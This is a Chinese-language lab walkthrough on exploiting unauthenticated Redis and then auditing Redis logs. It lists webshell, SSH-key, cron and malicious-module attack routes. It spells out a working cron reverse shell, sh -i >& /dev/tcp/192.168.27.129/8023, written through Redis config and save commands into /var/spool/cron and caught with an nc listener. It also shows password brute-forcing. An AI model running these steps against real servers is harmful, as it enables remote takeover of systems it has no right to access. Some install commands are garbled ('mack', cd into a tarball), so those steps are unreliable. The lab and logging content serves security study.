redis未授权访问漏洞利用+redis日志分析
redis未授权访问
远程连接redis
kali: redis-cli -h IP
redis常用语句
set key “value” 设置键值对
get key 获得值
incr intkey 数字类型值加1
keys * 获取当前数据库中所有的键
config set dir /home/test 设置工作目录
config set dbfilename redis.rdb 设置备份文件名
config get dir 查看工作目录
config get dbfilemane 查看备份文件名
save 进行一次操作的备份
flushall 删除所有数据
del key 删除键为key的数据
redis未授权访问利用方法
- 设置目录》写入一句话木马》保存到备份文件(写在网站目录下)
- 或者搞个定时任务反弹shell
- 或者直接写公钥(ssh直接冲!)
- 最后redis4.x之后可以通过c语言编译并加载恶意的.so文件(主从复制)
第一种利用方法
需要服务器开启web服务,使用redis数据备份功能结合web服务向网站根目录写入一句话木马从而得到网站的webshell
需要写入权限
第二种利用方法
通过redis数据备份写定时任务,通过定时任务反弹shell
需要root权限
第三种利用方法
通过redis数据备份功能写SSH公钥,实现免密登录linux服务器
需要root权限
安装redis客户端
下载: wget http://download.redis.io/releases/redis-2.8.17.tar.gz
解压: tar xzvf redis-2.8.17.tar.gz
进入目录: cd redis-2.8.17.tar.gz
编译: mack
进入src目录: cd src
将redis-cli复制到/usr/bin目录下:cp redis-cli /usr/bin/
将redis-server复制到/usr/bin目录下:cp redis-server /usr/bin/
开启redis服务
回到/redis-2.8.17.tar.gz目录下
redis-server redis.conf
攻击机kali安装redis
和centos一样
反弹shell
这里试着写个定时任务反弹shell
测试连接
靶机ip:192.168.27.192
攻击机ip:192.168.27.129
redis-cli -h 192.168.27.192
连接成功
写一个反弹shell
sh -i >& /dev/tcp/192.168.27.128/8023 0>&1
改成定时任务的格式
*/1 * * * * sh -i >& /dev/tcp/192.168.27.129/8023 0>&1
写入定时任务
先监听一下8023端口
nc -lvvp 8023
写入定时任务
set x “\n\n*/1 * * * * sh -i >& /dev/tcp/192.168.27.129/8023 0>&1 \n\n”
config set dbfilename root
config set dir /var/spool/cron
save
等待漫长的一分钟
拿到shell
日志审计
爆破redis密码
使用工具超级弱口令检查工具
因为没有密码,所以任意密码可登陆,跑出来个qwerty
接下来给redis加上密码,admin123
关闭redis服务,gedit redis.conf 找到requirepass,把注释符去掉,密码改为admin123 保存退出
再次开启redis服务
使用kali再连接一下试试
需要密码了!
接着爆破
搞出来啦!
用kali尝试一下
成功
日志
这里将日志保存到文件/tmp/log/redis.log,将notice换为debug模式
再tmp目录下mkdir log
然后再启动redis服务
下面继续爆破,然后查看日志
可以看到大量的请求,但是看不出来是攻击,ip为192.168.27.191(windows)
用kali去连接,然后随意操作一下
看不到操作的内容
升级高版本redis!
wget https://github.com/redis/redis/archive/refs/tags/7.2-rc2.zip
后续操作同前面
将redis-server 移动到/usr/bin/
cp redis-server /usr/bin/redis-server2
使用redis-server2启动redis服务
可以启动,然后修改一下redis.conf
将只允许本地连接注释掉,保护模式关掉,然后保存一下,再启动redis服务,再使用kali连接一下
再向上面一样配置一下日志和密码,然后用kali登陆成功一下,失败一下看看日志
成功的日志如下
登陆失败日志